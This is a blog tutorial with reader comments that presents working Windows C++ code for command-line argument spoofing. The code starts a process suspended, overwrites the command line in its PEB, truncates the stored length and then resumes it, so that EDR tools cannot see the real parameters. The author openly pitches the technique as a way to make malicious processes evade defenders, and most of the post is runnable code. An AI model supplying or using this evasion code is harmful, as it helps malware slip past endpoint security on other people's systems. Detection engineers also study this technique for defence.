Hi Developer,
Another trick that I want to share with you on making your malicious process is less suspicious. Many EDRs use the cmdline parameter as one of its checklist to decide wether a process is malicious or not. We can see the following picture that the EDR catch the process of powershell as malicious due its parameter

To minimize the detection from EDR, We can hide the process parameter through our code. To manipulate the process cmdline parameter, we need to spawn a thread and suspend it for process information modification
Retrieve Process Information
The code below is to retrieve the process information from the newly created thread. The thread is spawn with this parameter notepad.exe c:\windows\system32\kernel32.dll is just to make buffer space, if your actual parameter requires long parameter then you need to put more char in this field
#include <iostream>
#include <Windows.h>
#include <winternl.h>
typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
IN HANDLE,
IN PROCESSINFOCLASS,
OUT PVOID,
IN ULONG,
OUT PULONG
);
PROCESS_INFORMATION pi = { 0 };
PROCESS_BASIC_INFORMATION pbi;
DWORD retLen;
// Start process suspended
success = CreateProcessA(
NULL,
(LPSTR)"notepad.exe c:\\windows\\system32\\kernel32.dll",
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
NULL,
"C:\\Windows\\System32\\",
&si,
&pi);
NtQueryInformationProcess_t NtQueryInformationProcess_p = (NtQueryInformationProcess_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
NtQueryInformationProcess_p(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
Read The Process Parameter
Process Block Evironment data structure. What we would like to access and overwrite is the PRTL_USER_PROCESS_PARAMETERS field. You can find the detail https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, *PPEB;
The Process Environment Block (PEB) is a process’s user-mode representation. It has the highest-level knowledge of a process in kernel mode and the lowest-level in user mode. The PEB is created by the kernel but is mostly operated on from user mode.
PEB pebLocal;
ReadProcessMemory(pi.hProcess, pebLocal.ProcessParameters, ¶meters, sizeof(parameters), &bytesRead);
Overwrite Cmdline Parameter
We overwrite the old thread parameter “notepad.exe c:\windows\system32\kernel32.dll” with the new parameter “notepad.exe c:\Temp\rio.txt\0“
// Set the actual arguments we are looking to use
WCHAR spoofedArgs[] = L"notepad.exe c:\\Temp\\rio.txt\0";
WriteProcessMemory(pi.hProcess, parameters.CommandLine.Buffer, (void*)spoofedArgs, sizeof(spoofedArgs), &bytesWritten);
Hiding the Cmdline Parameter
Here is the important step is to remove the parameter to make the EDR blind to what parameter is actually passed to the process. DWORD newUnicodeLen = 22; We shorten the lenght of the parameter so that it will leave only the process name which is notepad.exe. The value 22 comes from 2 x Length of the process name, notepad.exe length is 11 then we need to put 22.
DWORD newUnicodeLen = 22;
WriteProcessMemory(pi.hProcess,
(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
(void*)&newUnicodeLen,
4,
&bytesWritten
);
The Command line with the new lenght given just up to 22 to hide the rest of the command line

When we did not resize the lenght of the cmdline, The old parameter was not fully overwritten. This information could trigger EDR detection

Resuming the Thread
After the process information were overwritten then the next step is to resume the thread to work with the new parameter
ResumeThread(pi.hThread);
Hiding the CmdLine parameter would be a good way to evade your malicious process and hiding from the defender eyes.
Full Code
The full code was originally written by Adam Chester
#include <iostream>
#include <Windows.h>
#include <winternl.h>
typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
IN HANDLE,
IN PROCESSINFOCLASS,
OUT PVOID,
IN ULONG,
OUT PULONG
);
//int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
int main(int argc, char** argv) {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT context;
BOOL success;
PROCESS_BASIC_INFORMATION pbi;
DWORD retLen;
SIZE_T bytesRead;
SIZE_T bytesWritten;
PEB pebLocal;
RTL_USER_PROCESS_PARAMETERS parameters = { sizeof(parameters) };
// Start process suspended
success = CreateProcessA(
NULL,
(LPSTR)"notepad.exe c:\\windows\\system32\\kernel32.dll",
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
NULL,
"C:\\Windows\\System32\\",
&si,
&pi);
if (success == FALSE) {
printf("Could not call CreateProcess\n");
return 1;
}
// Retrieve information on PEB location in process
NtQueryInformationProcess_t NtQueryInformationProcess_p = (NtQueryInformationProcess_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
NtQueryInformationProcess_p(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
// Read the PEB from the target process
success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
if (success == FALSE) {
printf("Could not call ReadProcessMemory to grab PEB\n");
return 1;
}
// Grab the ProcessParameters from PEB
ReadProcessMemory(pi.hProcess, pebLocal.ProcessParameters, ¶meters, sizeof(parameters), &bytesRead);
// Set the actual arguments we are looking to use
WCHAR spoofedArgs[] = L"notepad.exe c:\\Temp\\rio.txt\0";
success = WriteProcessMemory(pi.hProcess, parameters.CommandLine.Buffer, (void*)spoofedArgs, sizeof(spoofedArgs), &bytesWritten);
if (success == FALSE) {
printf("Could not call WriteProcessMemory to update commandline args\n");
return 1;
}
// Below we can see an example of truncated output in ProcessHacker and ProcessExplorer and Task Manager
// Update the CommandLine length (Remember, UNICODE length here)
DWORD newUnicodeLen = 22;
success = WriteProcessMemory(pi.hProcess,
(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
(void*)&newUnicodeLen,
4,
&bytesWritten
);
if (success == FALSE) {
printf("Could not call WriteProcessMemory to update commandline arg length\n");
return 1;
}
printf("Hitme!\n"); getchar();
// Resume thread execution*/
ResumeThread(pi.hThread);
A bit confusing here in terms of why you did “Overwrite Cmdline Parameter” section if all you need to do is shorten the length with the DWORD newUnicodeLen = 22. However I will lbe about to testing this so maybe I will understand by typing the code. Thanks
Hi Savage,
Thank you for visiting my blog and the comment. I will update the blog with the full code. Thank you